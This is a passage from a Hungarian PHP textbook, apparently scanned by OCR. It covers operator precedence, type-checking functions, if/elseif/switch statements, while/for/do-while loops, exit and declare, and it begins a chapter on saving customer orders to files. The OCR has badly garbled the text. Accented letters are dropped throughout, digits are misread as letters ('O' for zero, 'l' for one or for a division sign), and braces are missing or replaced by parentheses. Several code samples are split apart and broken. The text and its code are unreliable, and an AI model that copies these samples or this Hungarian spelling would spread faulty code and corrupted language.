Emlkezznk vissza az elbbi plda kvetkez rszre:
$vegosszeg

$vegosszeg

Ha ehelyett azt tjuk, hogy:


$vegosszeg

$vegosszeg

(l +

* l +

$adokulcs);

$adokulcs;

akkor az sszeadshoz kpest magasabb elsbbsgi szint szorzs mvelet lesz elszr vgrehajtva, ami helytelen eredmnyhez
vezet. A zrjelek hasznlatval kiknyszerthet, hogy elszr az

l +

$adokulcs kifejezs legyen kirtkelve.

A kifejezsekben tetszleges szm zrjelprt hasznlhatunk. A PHP elszr a legbels prban lv kifejezst rtkeli ki.
Figyeljk meg, hogy a tblzatban szerepl egyik opertorral mg nem foglalkoztunk! Ez nem ms, mint az- echo-val
egyenrtk- print nyelvi alkotelem, amely kimenetet generl.
Knyvnkben ltalban az echo-t hasznljuk, de ha a Kedves Olvas a pr int-et szimpatikusabbnak tallja, nyugodtan
vlassza azt! Sem az elbbi, sem az utbbi nem igazn fggvny, ennek ellenre tekinthetjk ket a zrjelben paramtert tar
talmaz fggvnynek is. Mindkett kezelhet mveleti jelknt: a hasznlni kivnt szveget egyszeren az echo vagy a print
kulcssz mg rjuk.
A print azrt tekinthet fggvnynek, mert rtket (l) ad vissza.Ez hasznos lehet, amikor sszetettebb kifejezsen bell
kvnunk kimenetet generlni, de az echo-nl rnyalatnyival lassabb teszi.

Vltozkhoz kapcsold fggvnyek


Mieltt elhagynnk a vltozk s mveleti jelek vilgt, vessnk egy pillantst a PHP vltozkkal kapcsolatos fggvnyeirel
A PHP egyik fggvnyknyvtra a vltozk klnbz mdon trtn kezelst s ellenrzst lehetv tev fggvnyeket
knl.

Vltozk tpusnak ellenrzse s belltsa


A vltozkhoz kapcsold fggvnyek legtbbje a vltoz tpusnak ellenrzshez ktdik. A kt legltalnosabb fggvny
a gettype () s a settype ().Ezek prototpusa-vagyis az, hogy rnilyen paramtert vrnak, s mit adnak vissza-a kvet
kez:
string gettype(mixed valtozo);
bool settype(mixed valtozo,

string tipus);

A gettype( ) hasznlathoz rnindenkppen t kell adnunk vltozt. A fggvny meghatrozza annak tpust, majd a t
pusnevet tartalmaz szveget ad vissza, ami bool, int, double (float tpusok), string,array,obj ect,resource vagy
NULL lehet. Amennyiben a vltoz tpusa nem szabvnyos, a fggvny az unknown type szveget adja vissza.

A settype () fggvnynek kt paramtere van: elszr tadjuk neki a vltozt, amelynek meg kvnjuk vltoztaeni a tpu
st, majd az j adattpust tartalmaz karakterlncot (a tpust az elz listbl vlaszthatjuk ki).

Megjegyzs: A knyv, akrcsak a php.net dokumentci, tbbszr hivatkozik "mixed'; azaz vegyes adattpusra. Ilyen adatt

pus nem ltezik, de mivel a PHP igen rugalmasan kezeli a tpusokat, sok fggvny szinte brmilyen adattpust elfogad. A sokf
"
le adattpust elfogad paramtereket jelljk "mixed tpusknt.
A kvetkezkppen hasznlhatjuk ezeket a fggvnyeket:
$a

56;

echo gettype($a). '<br />';


settype($a,

'double');

echo gettype($a). '<br />';

A gettype () els hvsakor az $a integer tpus. A settype () hvsa utn tpusa double-ra vltozik.
A PHP adott tpusok ellenrzsre alkalmas fggvnyeket is knl. Mindegyiknek egy vltoz a paramtere, s true vagy
false rtket ad vissza. Az albbi fggvnyek tartoznak ide:
is_array()-Megllaptja, hogy a vltoz tmb-e.
is_double(),is_float(),is_real() (ugyanaz a fggvny)-Megllaptja, hogy a vltoz float tpus-e.
is_long(),is_int(),is_integer() (ugyanaz a fggvny)-Megllaptja, hogy a vltoz integer tpus-e.
is_ string()-Megllaptja, hogy a vltoz string tpus-e.

PHP gyorstalpal

31

is_bool () -Megllaptja, hogy a vltoz boolean tpus -e.


is_object () -Megllaptja, hogy a vltoz object tpus-e.
is_resource() - Megllapga, hogy a vltoz resource tpus-e.
is_ null () - Megllaptja, hogy a vltoz null tpus-e.
is_scalar() - Megllapga, hogy a vltoz skalris-e (integer,boolean, string vagy float tpus valamelyike).
is_numeric() - Megllapga, hogy a vltoz valamilyen szm vagy numerikus szveg-e.
is_callable ()-Megllaptja, hogy a vltoz egy rvnyes fuggvny neve-e.

Vltozk llapotnak ellenrzse


A PHP szmos fuggvnnyel segti a vltozk llapotnak meghatrozst. Az els ilyen az is set (),amelynek prototpusa
a kvetkez:
bool isset(mixed valtozo); [;mixed valtozo[,

.. . ]])

A fuggvny vltoznevet fogad paramterknt, s true rtket ad vissza ltez vltoz esetn, egybknt pedig false-t.
Ha vltoznevek vesszvel elvlasztott listjt adjuk az is set ()-nek,a fuggvny akkor tr vissza true rtkkel,ha az sszes
vltoz ltezik.
Az unset() fuggvnnyel megszntethetnk vltozkat. A fuggvny prototpusa a kvetkez:
void unset(mixed valtozo); [;mixed valtozo[, . ..]])
A fuggvny eltvoltja a neki radott vltozt.
Az empty ( ) fuggvnnyel ellenrizhetjk vltoz megltt s azt, hogy nem res,nem nulla rtkkel br; ennek megfelelen
true vagy false rtket ad vissza. Prototpusa a kvetkez:
bool empty(mixed valtozo);

Nzznk pldt ennek a hrom fuggvnynek a hasznlatra!


tmenetileg adjuk kdunkhoz a kvetkez sorokat:
echo

'isset($abroncs_db):

ech o

'isset($nincs_i lyen) :

echo

'empty($abroncs db):

echo

'empty($nincs_ilyen):

'.isset($abroncs db). '<br />';


'. isset($nincs ilyen). '<br />';
'.empty($abroncs_db). '<br />';
'.empty($nincs i lyen). '<br />';

Frisstsk az oldalt, s nzzk meg az eredmnyt!


Az isset() fuggvny az rlapmezbe bevitt rtktl fuggedenll-et (true ) ad vissza az $abroncs_db vltozra,mg
akkor is,ha semmilyen rtket nem adtunk meg az rlapon. Az empty () fuggvny ltal visszaadott rtk viszont attl fugg,
hogy mit gpeltnk be.
A $nincs_ilyen vltoz nem ltezik, ezrt az isset() fuggvny res ( false ) eredmnyt,az empty() pedigl-et

(true) ad vissza.
Ezek a fuggvnyek akkor tudnak igazn hasznunkra vlni,amikor ellenriznnk kell, hogy a felhasznl kitlttte-e egy
rlapon a szksges mezket.

Vltozk tpuskonverzija
A vltozk tpusalaktst fuggvnyhvssal is elrhetjk. Az albbi hrom fuggvny hasznlhat erre a clra:
int intval(mixed valtozo[,

int alap]);

float floatval(mixed valtozo);


string strval(mixed valtozo);

Mindegyik vltozt fogad paramterknt, s annak megfelel tpusra alaktott rtkt adja vissza. Az intval() fuggvny
nl mg a konvertls alapjt is meghatrozhatjuk, ha az talaktani kvnt vltoz szveg. (gy pldul egsz szmm alaktha
runk hexadecimlis karakterlncokat.)

Dntshozatal feltteles utastsokkal


A vezrlsi szerkezetek olyan programnyelvi elemek, amelyekkel a program vagy kd vgrehajtsnak menett szablyozhatjuk.
Feltteles utastsokra (elgazsokraJ s ismtld szerkezetekre ( ciklusokraJ bonthatk.
Ha szeretnnk reaglni a felhasznl ltal megadott rtkre vagy vlaszra, kdunknak tudnia kell dntseket hozni. A prog
ramot dntshozatalra ksztet programnyelvi elemeket Jeltteles

utastsoknak nevezzk.

32

2. fejezet

if

utastsok

Az if utastst dntshozsta hasznlhatjuic A dntshez meg kell adnunk a kirtkelend felttelt. Amennyiben az true,

vagyis igaz, akkor a kvetkez kdblokk fog vgrehajtdni. Az if utasts felttelt zrjelek {) kz rjuic
Ha pldul a ltogat nem rendel Bobtl sem gumiabroncsot, sem olajat, sem gyertyt, akkor elkpzelhet, hogy vletlenl
mr az rlap kitltsnek befejezse eltt rkattintott a.,Rendels kldse" gombra. Ekkor ahelyett, hogy kzlnnk a vevvel,
hogy megrendelst feldolgoztuk, jobb lenne, ha az oldal hasznos zenetet jelentene meg szmra.
Amikor a ltogat egyetlen ttelt sem rendel. kzlheljk vele pldul azt, hogy.. Egyetlen ttelt sem rendelt az elz olda
lon!" Ezt egyszeren megteheljk az albbi if utastssal:
if{ $osszmennyiseg ==

O )

echo 'Egyetlen ttelt sem rendelt az elz oldalon!<br />';

Az itt hasznlt felttel az, hogy az $osszmennyiseg

==

O, vagyis a rendelt ttelek sszege nulla. Emlkezznk vissza,

hogy az egyenl mveleti jel ( ==) eltren mkdik, mint az rtkad opertor ( = ) !
Az $osszmennyiseg == O felttel akkor teljesl s lesz true,

ha az $osszmennyiseg nullval egyenl. Ameny

nyiben az $osszmennyiseg rtke nem nulla, a felttel nem teljesl, azaz false lesz. A felttel teljeslse esetn az echo
utasts lesz vgrehajrva.

Kdblokkok
Gyakran elfordul, hogy feltteles utasts, pldul az if teljeslstl fggen egynl tbb utastst szecetnnk vgrehajtani.
Az utastsokat blokkokba csoportosthatjuk. A blokkot kapcsos zrjelekkel fogjuk krl:
if {$osszmennyiseg ==

0)

echo '<p style="color:red">';


echo 'Egyetlen ttelt sem rendelt az elz oldalon!';
echo '</p>' ;

A kapcsos zrjelek ltal kzrefogott hrom sor immr egy kdblokkot kpez. A felttel teljeslse esetn rnindhrom sor
vgreh:Ytdik. Ha a felttel nem teljesl. akkor az alkalmazs nem foglalkozik ezzel a hrom sorral.

Megjegyzs: Mint mr utaltunk r, a PHP-t nem rdekli kdunk elrendezse. Olvashatsgi okokbl azonban rdemes beh
zsokkal tagolni kdunkat. Behzs hasznlatval szempillants alatt lthatjuk, hogy mely sarok hajtdnak vgre az ifjelttelek
teljeslsekor, mely utastsok vannak az adott blokkokba csoportostva, s mely utastsok kpezik ciklusok vagyJggvnyek rszt.
Az elz pldkban lthatjuk, hogy az if utaststl fgg utasts, illetve a blokkat alkot utastsok behzva jelennek meg.

e ls e

utastsok

Gyakran nem csak arra van szksgnk, hogy eldnthessk, szeremnk-e egy mveletet vgrehajtani vagy nem, hanem a vizs
glt felttel nem teljeslsnek esetre is szecetnnk megadni a lehetsges tennivalkat.
Az else utastssal meghatrozhaljuk azt a mveletet, atrtit az if utastsban megadott felttel nem teljeslse esetn kell
vgrehajtani. Tegyk fel, hogy figyelmeztetni szeretnnk Bob gyfeleit, ha resen kldik el a megrendelst! Ha viszont rendel
nek valamit, akkor a figyelmeztets helyett a rendelsket szeretnnk megjelenteni szmukra.
Ha tdolgozzuk a kdot, s else utastssal egszljk ki, a vsrl lpstl fggen figyelmeztetst vagy a rendels ssze
foglalst is megjelentheljk szmra:
if

{$osszmennyiseg

==

0)

echo "Egyetlen ttelt sem rendelt az elz oldalon!<br />";


else
echo $abroncs db." gumiabroncs<br />";
echo $olaj_db." flakon olaj<br />";
echo $gyertya_db." gyjtgyertya<br />";

Az if utastsok egymsba gyazsval bonyolultabb logikai mveleteket is vgrehajthatunk. A kvetkez kd esetn a figyel
meztets akkor jelenik meg, ha az $osszmennyiseg == O felttel teljesl, a rendels sszefoglalsnak sorai pedig csak
akkor jelennek meg, amennyiben a vev az adott termkbl rendelt valamennyit:
if

($osszmennyiseg ==

0)

echo "Egyetlen ttelt sem rendelt az elz oldalon!<br />";

PHP gyorstalpal

33

} else {
if

{$abroncs_db > 0)

echo $abroncs_db." gumiabroncs<br />";


if

{$olaj_db > 0)

echo $olaj_db."
if

fiakon olaj<br />";

($gyertya_db > 0)

echo $gyertya_db." gyjtgyertya<br />";

elseif

utastsok

Szmos olyan dnts ltezik, amikor kettnl tbb lehetsgnk van. Klnbz kimenetek sorozatt teremthetjk meg az
elseif utastssal, amely egy else s egy if utasts kombincija. Amikor felttelek sorozatt hatrozzuk meg, a prog

ram mindegyiknek a teljeslst ellenrzi - egszen addig, amg valamelyik igaznak nem bizonyul.
Bob kedvezmnyt ad a nagyttelben vsrolt gumik utn. A kedvezmnyek rendszere a kvetkezkppen mkdik:
10-nl kevesebb gumiabroncs vsrlsa - nincs kedvezmny
10-49 gumiabroncs vsrlsa- 5 %kedvezmny
50- 99 gumiabroncs vsrlsa- 10 %kedvezmny
100 vagy tbb gumiabroncs vsrlsa- 15 %kedvezmny
A kedvezmnyeket Iciszmol kdot felttelek, illetve if s elseif utastsok hasznlatval rhatjuk meg. Ebben az esetben
az

AND mveleti jellel

(&&) kombinlhatjuk ssze a kt felttelt:

if ($abroncs_db <
$kedvezmeny =

10)

O;

elseif (($abroncs db >=

10)

&&

elseif (($abroncs_db >= 50)

&&

$kedvezmeny

($abroncs db <=

49))

5;
($abroncs_db <= 99))

$kedvezmeny = 10;
elseif ($abroncs_db >= 100)
$kedvezmeny = 15;

rdemes tudni, hogy rhatunk elseif s else if formt is- mindkt vltozat egyarnt helyes. Ha tbb elseif utastst
runk, ne felejtsk el, hogy a blokkok vagy utastsok kzl csak egy lesz vgrehajtval Ez itt nem okoz gondot, mett a felttelek klcs
nsen kizrjk egymst, egyszerre csak az egyik teljeslhet. Ha azonban olyan felttelekkel dolgozunk, amelyek kzl egyszerre egynl
tbb is teljeslhet, akkor mr van jelentsge annak, hogy csak az els reljeslt felttelt kver blokk vagy utasts lesz vgrehatjva.

switch

utastsok

A switch utasts az if utastshoz hasonlan mkdik, de lehetv teszi, hogy a felttel kettnl tbb rtket vegyen fel.
Az if utastsban szerepl felttel csak igaz vagy hamis lehet. A switch utastsbeli felttel tetszleges szm klnbz
rtket felvehet, feltve, hogy az egyszer tpusknt (integer, string vagy float) rtkeldik ki. Minden egyes kezelni kvnt r
tkhez case utastst adunk, illetve rdemes egy alaprtelmezett ( default ) esetet is meghatrozni, amely a case utasts
sal nem lefedett rtkek esetn lesz vgrehajtva.
Bob tudni szeretn, hogy melyik hirdetsei vltak be, ezrt mg egy krdst kell adnunk a megrendelsi rlaphoz. Szrjuk be
az

rlapba a kvetkez HTML kdot, ekkor az rlap az 1.6 brn lthathoz hasonlan fog megjelenni:

<tr>
<td>Honnan

h allott Bob autalkatrsz-boltjrl?</td>

<td><select name="honnan- h allott-rolunk">


<option value

"a">Visszatr6 vsrl vagyok</option>

<option value

"b">Tvreklm</option>

<option value

"c">Telefonknyv</option>

<option value

"d">Ismer6st61,

</select>
<ltd>
</tr>

bart tl</option>

34

2. fejezet

1.6 bra: A

rendelsi rlap azt krdezi a ltogatktl, honnan hallottak Bob alkatrszbolljrl.

A HTML kd j vltozt vezet be (neve honnan_hallott_rolunk) , rtke 'a', 'b', 'c' vagy 'd'
elseif

lehet. if s

utastsok sorozatval a kvetkezkppen kezelhetjk ezt az j vltozt:

if ($honnan hallott_rolunk

==

"a")

echo "<p>Visszatr6 vsrl.</p>";


elseif ($honnan hallott relunk

==

"b")

echo "<p> Tvreklmban hallott Bobrl.</p>";


elseif

($honnan_hallott_rolunk

==

"c")

echo "<p> Telefonknyvben tallta Bobot.</p>";


elseif ($honnan_hallott_rolunk
echo "<p>Ismer6st61,

==

"d")

barttl hallott Bobrl.</p>";

else
echo

"<p>Nem tudjuk,

honnan

ismeri

Bobot.</p>";

Ugyanezt rjk el egy switch utasts segtsgvel is:


switch($honnan_hallott_rolunk)
case "a"

echo "<p>Visszatr6 vsrl.</p>";


break;
case "b"

echo "<p>

Tvreklmban hallott Bobrl.</p>";

break;
case "c"

echo "<p> Telefonknyvben tallta Bobot.</p>";


break;
case "d"

echo "<p>Ismer6st61,

barttl hallott Bobrl.</p>";

break;
default

echo "<p>Nem tudjuk,

honnan

ismeri

Bobot.</p>";

break;

(Mindkt plda azt felttelezi, hogy a $_POST tmbbl nyerrk ki a $honnan_hallott_relunk vltozt.) A switch utasts
az if s elseif utaststl kiss eltren mkdik. Az if utasts egyeden utastsra vagy kapcsos zrjelekkel ltrehozon kd
blokkra hat. A switch ppen ellenttes mdon mkdik. Amikor egy switch utastsban lv case utasts aktivldik, a PHP
a kvetkez break utastsig tallhat sszes kdot vgrehajtja. break utasts nlkl a switch a teljeslt felttel utni sszes
utastst vgrehajtja. Amikor elri a break utastst, a switch utni kvetkez sorral folytatja a kd vgrehajtst.

A klnbz; feltteles utastsok sszehasonltsa


Aki nem hasznlta mg az elz rszekben bemutaton utastsokat, feltehem a krdst, hogy melyik a legjobb. Nem igazn ltezik
j vlasz erre. Amit egy vagy tbb else, elseif vagy switch utastssal megrehetnk, az if utastsok sorozatval is elrhet.
Az adon helyzetben a programoz szmra legjobban olvashat (rtelmezhet) feltteles utastst kell hasznlnunk. Ahogy egyre
tbb tapasztalatot szerznk, gy lesz egyre knnyebb rrezni, hogy az adon szituciban melyik utastst kell vlasztanunk.

PHP gyorstalpal

35

Mveletek ismtlse itercival


A szmtgpek nundig is kivlan alkalmasak voltak az ismtld feladatok automatizlsra. Ha valamit ugyangy kell meghatrozott alkalommal vgrehajtani, akkor ciklussal ismtelhetjk meg a program adott rszeit.
Bob szeretn a kiszllrsi kltsget tartalmaz tblzatot megjelenteni s hozzadni a vevi megrendelshez. A Bob ltal
ignybe vett futrszolglatnl a kiszllrsi dij a tvolsgtl fgg. A kltsg egyszer kpleetel kiszmthat.
Azt szeretnnk, hogy a kiszllrsi tblzat

az

1.7 brn lthathoz hasonl legyen.

ll<>
nlll ,IM

- ..
"':,

.,
100

10

150

IS

200

20

20

2S

1.7 bra: A tblzat azt mutalja, hogy a tvolsg nvekedsvel egytt emelkedik a kiszllts kltsge.

Az 1.2 pldakd az ezt a tblzatot megjelent HTML kdot mutatja. Lthatjuk, hogy hossz s ismtld.
1.2 pldakd: kiszalli t as. html

Bob kiszlltsi tblzatnak HTML kdja

<html>
<body>
<table border="O" cellpadding="3">
<tr>
<td bgcolor="#CCCCCC" align="center">Tvolsg</td>
<td bgcolor="ICCCCCC" align="center">Kltsg</td>
</tr>
<tr>
<td align="right">SO</td>
<td align="right">S</td>
</tr>
<tr>
<td align="right">lOO</td>
<td align="right">lO</td>
</tr>
<tr>
<td align="right">lSO</td>
<td align="right">lS</td>
</tr>
<tr>
<td align="right">200</td>
<td align="right">20</td>
</tr>
<tr>
<td align="right">250</td>
<td align="right">25</td>
</tr>
</table>
</body>
</html>

l l

36

2. fejezet

Ahelyett, hogy rabrben fizetett s knnyen fsultt vl alkalmazottal gpeltetjk be a HTML kdot, rdemes az olcs
s fradhatatlan szmtgpet hasznlni erre. Az utastsokat ciklusba helyezve kiadjuk a PHP-nek, hogy ismtlden hajtsa

vgre az utastst vagy kdblokkot.

wh i

l e ciklusok

A legegyszerbb ciklus a PHP-ben a while. Az if utastshoz hasonlan ennek mkdse is egy feltteltl fligg. A while
ciklus s az if utasts kztt az a klnbsg, hogy az utbbi csak egyszer hajtja vgre az utna lev kdot, s csak akkor, ha
a megadott felttel teljesl. A while ciklus mindaddig ismtlden vgrehajtja a blokkot, amg a felttel teljesl.
A while ciklust jellemzen akkor hasznljuk, amikor nem tudjuk, hny ismtlds fog bekvetkezni addig, amg a felttel
igaznak bizonyul. Ha meghatrozott szm ismtldsre van szksg, rdemes inkbb a for ciklust hasznlni.
A while ciklus alapstruktr:ija a kvetkez:
while( felttel

kifejezs;

A kvetkez while ciklus 1-tlS-ig jelenti meg a szmokat:


$num = l;
while ($num <=

5 ) {

echo $num."<br />";


$num++;

Minden ismtlds elejn a kd teszteli a felttel teljeslst. Ha a felttel hams, a blokk nem hajtdik vgre, s vget r
a ciklus. A ciklus utni kvetkez utastssal folytatdik a kd futsa.
A while ciklusok ennl hasznosabb dolgokra, pldul az 1.7 brn lev, ismtld tblzat megjelentsre is kpesek. Az
1.3 pldakd while ciklussal lltja el a djtblzatot.

1.3 pldakd: kiszallitas.php -Bob kiszlltsi tblzatnak ellltsa PHP-vel


<html>
<body>
<table border="O" cellpadding="3">
<tr>
<td bgcolor="#CCCCCC" align="center">Tvolsg</td>
<td bgcolor="#CCCCCC" align="center">Kltsg</td>
</tr>
<?php
$tavolsag =

50;

while ($tavolsag <=

250)

echo "<tr>
<td align=\"right\">".$tavolsag."</td>
<td align=\"right\">".($tavolsag

l 10). "</td>

</tr>\n";
$tavolsag +=

50;

?>
</table>
</body>
</html>

A kd ltal generlt HTML olvashatv ttelhez j sorokat s szkzket kell beillesztennk. Ahogy mr jeleztk, a bn
gszk ugyan figyelmen kvl hagyjk a fehrkz karaktereket, m az emberek rniatt szksg van rjuk. Hiszen, ha a kimenet
nem teljesen egyezik meg a vrttal, gyakran kell a HTML kdot bngsznnk.
Az 1.3 pldakdban \n karaktereket lthatunk egyes szetingeken bell. Ha ketts idzjelben lv szvegben szerepel,
akkor ez a karaktersor jsor karaktert jelent.

PHP gyorstalpal

37

for s fo reach ciklusok


Aw hile ciklusokat gyakran hasznljuk az elz rszben ltott mdon. Bellrunk egy szmllt, amivel a ciklus indul. Min

den ismtldse eltt a felttelben ellenrizzk a szmllt, a vgnl pedig mdostjuk annak rtkr.
for ciklus segtsgvel ennl rvidebben is rhatunk ilyen stlus ciklust. A for ciklus alapszerkezere a kvetkez:
for( kifejezsl;

felttel; kifejezs2)

kifejezs];
Kezdskor vgrehajtdik a kifejezs l. Itt ltalban a szmll kezdeti rtkt llguk be.
Minden egyes ismtlds eltt a felttel ben szerepl kifejezs rtkeldik ki. Ha a kifejezs hamis, az ismtlds
-

vget r. Itt ltalban egy rtkhatrral hasonlgak ssze a szmllt.


Minden ismtlds vgn vgrehajtdik a kifejezs2. Itt ltalban mdosguk a szmll rtkr.
Akifej e zs3 ismtldsenknt egyszer hajtdik vgre. Ez ltalban egy kdblokk, amely a ciklus kdjnak lnyegr

tartalmazza.
Az 1.3 pldakdban szerepl wh ile ciklust trhatjuk for cikluss. Ebben az esetben a PHP kd a kvetkezkppen

nz ki:

<?php
for ($tavolsag = 50; $tavolsag <= 250; $tavolsag += 50}

echo "<tr>
<td align=\"right\">".$tavolsag."<ltd>
<td align=\"right\">". ($tavolsag l 10) ."<ltd>
<ltr>\n";J

?>
Mkdsket tekintve a while s a for ciklust hasznl vltozatok egyenrtkek. A for ciklus valamivel tmrebb,
kt sort megsprolhatunk vele.
Akr ciklustpus egyenrtk, egyik sem rosszabb vagy jobb, mint a msik. Minden helyzetben azt a ciklust hasznljuk,

amir sztnsen vlasztannk!


Vltoz vltozkat for ciklussal kombinlva ismtld rlapmezk sorozatt jrhatjuk be. Ha pldul nevl, nev2, nev3
stb. nev rlapmezkkel dolgozunk, akkor a kvetkezkppen dolgozhatjuk fel ezeket:
for ($i=l ; $i <= $nevek_szama; $i++} {
$temp= "nev$i";
echo $$temp.'<br l>'; ll vagy amilyen ms feldolgozsi mdszerre van szksgnk
Avltoznevek dinamikus ltrehozsval

az

sszes vlrozt egyenknt elrhegk.

Afor ciklus mellett foreach ciklus is ltezik, amit kifejezetten a tmbkkel vgzett munkra alakrottak ki. Hasznlat

val a 3. fejezetben ismerkednk meg.

do ...while ciklusok
Az urolsknt bemutatand ciklustpus enyhn eltr mdon viselkedik. A do...while ltalnos szerkezete a kvetkez:
do

kifejezs;
while( felttel } ;
A do ...while ciklus abban klnbzik a while ciklusrl, hogy a felttel ellenrzsre a vgn kerl sor (htultesztels

ciklus). Ezt azt jelenti, hogy a do... while ciklus esetn a benne lev urasrs vagy blokk minden esetben legalbb egyszer
vgrehajtdik.
Mg a kvetkez pldban is, amelyben a felttel mr az elejn nem teljesl- s soha nem is fog-, a ciklus egyszer lefut,
mieltt ellenrizn a felttelt s lellna:
$num = 100;
do{
echo $num."<br l>";
}while ($num < l

Kiugrs vezrlsi szerkezetbl vagy kdbl


Ha szeremnk lelltani egy kdrszlet vgrehajtst, az elrni kvnt eredmnyrl fggen hrom megkzelts kzl vlasztharunk.

38

2. fejezet

Amennyiben ciklus vgrehajtst akarjuk meglltani,akkor a switch utastst bemutat rszben trgyalt break utas

tst kell hasznlni. Ha ciklusorr bell break utastst hasznlunk, a kd vgrehajtsa a ciklus utni kvetkez kdsorral fog
folytatdni.
Ha a ciklus kvetkez ismtldsre kvnunk ugrani,akkor a continue utastst kell alkalmaznunk.
Ha a teljes PHP kd vgrehajrsr akarjuk befejezni,akkor az ex it utastst hasznljuk. Ez a faj ra megkzelts jellemzerr
hibaellenrzskor lesz hasznos. Pldul a kvetkezkppen mdosrhaguk az elz pldt:
if($osszmennyiseg ==

0) {

"Egyetlen ttelt sem rendelt az el6z6 oldalon!<br l>";

echo
exit;

Az ex it meghvsa megakadlyozza, hogy a PHP leftmassa a kd htralev rszr.

Alternatv vezrlsi szerkezetek alkalmazsa


Az eddig ttekintett sszes vezrlsi szerkezethez ltezik egy alternatv szintaktika is. Ez abbl ll, hogy a kezd kapcsos zr

jel({),ms nven az utasts zrjel helyett kettspontot (:),a zr kapcsos zrjel helyett pedig egy j kulcsszt hasznlunk,
amely a hasznlt vezrlsi szerkezettl fggerr endif, endswitch, endwhile, endfor vagy endforeach lehet. A do ...
ciklus esetn az ilyen vezrlsi szerkezer nem hasznlhat.

while

Pldul az albbi kdot:


if ($osszmennyiseg == 0)
echo

"Egyetlen ttelt sem rendelt az el6z6 oldalon!<br l>";

exit;

az

if

if

s endif kulcsszval trhag uk a msik szintaktikra is:

($osszmennyiseg ==
echo

0)

"Egyetlen ttelt sem rendelt az el6z6 oldalon!<br l>";

exit;
endif;

A declare szerkezet hasznlata


A PHP egy msik vezrlsi szerkezett, a declare-t a mindennapi programozs sorn a tbbihez kpes ritkbbarr hasznl
juk. Ennek az ltalnos formja a kvetkez:
declare (direktva)

ll blokk
}

Ezzel a szerkezetteljuttatsi direktvkat lltunk be-vagyis szablyokat arra vonatkozan, hogyan fusson le a kvetkez
kd. Jelenleg egyetlen,a tick nev futtatsi direktva van belltva. A ticks=n direktva beszrsval kapcsoljuk be. Lehetv
teszi,hogy a kdblokk rninden n. sorban futtassunk egy adott fggvnyt, amely elssorban a profilozs s hibakeress esetn
hasznos.
A declare vezrlsi szerkezeter itt csak a teljessg kedvrt emltettk meg. A tick fggvnyek hasznlatt bemutat
pldkkal a 25. (PHP s MySQL hasznlata nagyobb projektekhez) s a 26. fejezetben (Hibakeress) tallkozunk.

Hogyan tovbbi
Mosr mr tudjuk, hogyan fogadjuk s kezeljk a vevk megrendelseit. A kvetkez fejezerben megranuljuk, hogyan troljuk el
azokat,hogy a ksbbiekben visszakereshetk s teljesrhetk legyenek.

2
Adatok trolsa s visszakeresse
Most, hogy mr tisztban vagyunk azzal, hogyan rjk el s kezelhetjk a HTML rlapba bevirt adatokat, nzzk meg, miknt
lehet ksbbi felhasznls cljbl eitroini azokat! Az esetek tbbsgben - ahogy az elz fejezet pldjban is - pontosan ez
a clunk: a ksbbi visszakereshetsg rdekben eitroini az adatokat. A pldban az gyfelek megrendelseit fogjuk eltrolni,
majd ksbb betlteni.
Ebben a fejezetben megranuljuk, hogyan rhatjuk az elz pldbl szrmaz megrendelseket fjlba, illetve hogyan olvas
hatjuk vissza azokat. Az is kiderl, hogy mirt nem minden esetben lesz ez j megolds. Ha nagyszm megrendelssel dolgo
zunk, rdemes inkbb adatbzis-kezel rendszert, pldul MySQL-t hasznlni.
A fejezetben az albbi fbb tmakrket rintjk:
Adatok elmentse ksbbi hasznlat cljbl
Fjl megnyitsa
Fjl ltrehozsa s fjlba rs
Fjl bezrsa
Olvass fjlbl
Fjlok zrolsa
Fjlok rrlse
Egyb hasznos fjlfggvnyek hasznlata
Egy jobb mdszer; adatbzis-kezel rendszerek hasznlata

Adatok elmentse ksbbi hasznlat cljbl


Az adartrols kt alapvet mdja az egyszer fjlokban s az adarbzisban trtn trols.

Az egyszer fjl sokfle formtum lehet, de az ilyen fjlok alatt ltalban egyszer szveges fjlt rtnk. A fejezet pldj
ban szveges fjlba rjuk az gyfelek megrendelseit gy, hogy minden sorba egy megrendels kerl.
A megrendelsek ilyetn trolsa igen egyszer, m nagymrtkben beszkiti majdani lehetsgeinket, ahogy azt a fejezet
ksbbi rszben ltni fogjuk. Ha jelents mennyisg informcival dolgozunk, clszerbbnek fogjuk tallni adatbzis hasz
nlatt. Az egyszer fjloknak is megvan azonban a maguk haszna, s bizonyos helyzetekben jl jn, ha tudjuk hasznlni ket.
A fjlba rs s fjlbl olvass folyamata sok programozi nyelvben hasonl. Azok, akik programoztak mr C-ben, vagy rtak
mr Unix shell szkripteket, ismersnek fogjk tallni ezeket az eljrsokat.

Bob megrendelseinek eltrolsa s visszakeresse


Ebben a fejezetben az elzben megismert megrendel rlap kiss mdostort vltozatval fogunk dolgozni. Kezdjk a munkr
ezzel az rlappal, illetve a megrendelsi adatok feldolgozsra rt PHP kddal!

Megjegyzs: A fejezetben hasznlt HTML s PHP kdokat a http:/lwww.perfactkiado.hu/mellekletek oldalrl letlthet

mellkletek OlJejezet mappjban talijuk.


Mdostortk szmunkra az rlapot, hogy egyszeren megtudhassuk a vev szlltsi cmt is. A mdostort rlapot a 2.1
brn lthatjuk.

40

2. fejezet

Bob autalkatrszek
Rendelsi urbp

====::::J

-=.--=.cd.__-----------,

---- --

2.1 bra: A

megrendelsi rlapjelen vltozata a vev szlltsi cmt is kri.

A szlltsi cmhez tartoz rlapmez neve szalli tasi eim. Az gy kapott vltozt az rlap adaekldsi metdustl
_

fggen$ REQUEST ['szalli tasi_eim ] ,$ POST [ 'szalli tasi_eim' l vagy$_GET ['szalli tasi_eim' l for
_

mban rjk el. (A rszletekrt lsd a PHP

'

gyorstalpal cm l. fejezetet!)

A mostani fejezet sorn ugyanabba a fjlba rjuk a berkez megrendelseket. Ezt kveten elksztjk Bob alkalmazottai
szmra az internetes felletet, ahol megtekinthetik a berkezett megrendelseket.

Fjlok feldolgozsa
Az adatok fjlba rshoz hrom lpsre van szksg:
l. A fjl megnyitsa. Amennyiben a fjl mg nem ltezik, ltre kell hoznunk.
2. Adatok rsa a fjlba.
3. A fjl bezrsa.

Hasonlkppen hrom lpst ignyel a fjlban lv adatok beolvassa is.


l. A fijl megnyitsa. Amennyiben a megnyits nem lehetsges (pldul azrt, mert nem ltezik a fjl), ezt fel kell ismernnk,

s a megfelel visszajelzst kell adni a felhasznlnak.


2. Adatok olvassa a fjlbL
3. A fijl bezrsa.

Amikor fjlbl kivnunk adatokat beolvasni, tbbfle vlasztsi lehetsgnk van arra vonatkozan, hogy egyszerre a fjl
mekkora rszt olvassuk be. A leggyakoribb lehetsgeket rszletesen bemutatjuk. Egyelre azonban kezdjk a dolgot a legele
jn, a fjl megnyitsva!!

Fjl megnyitsa
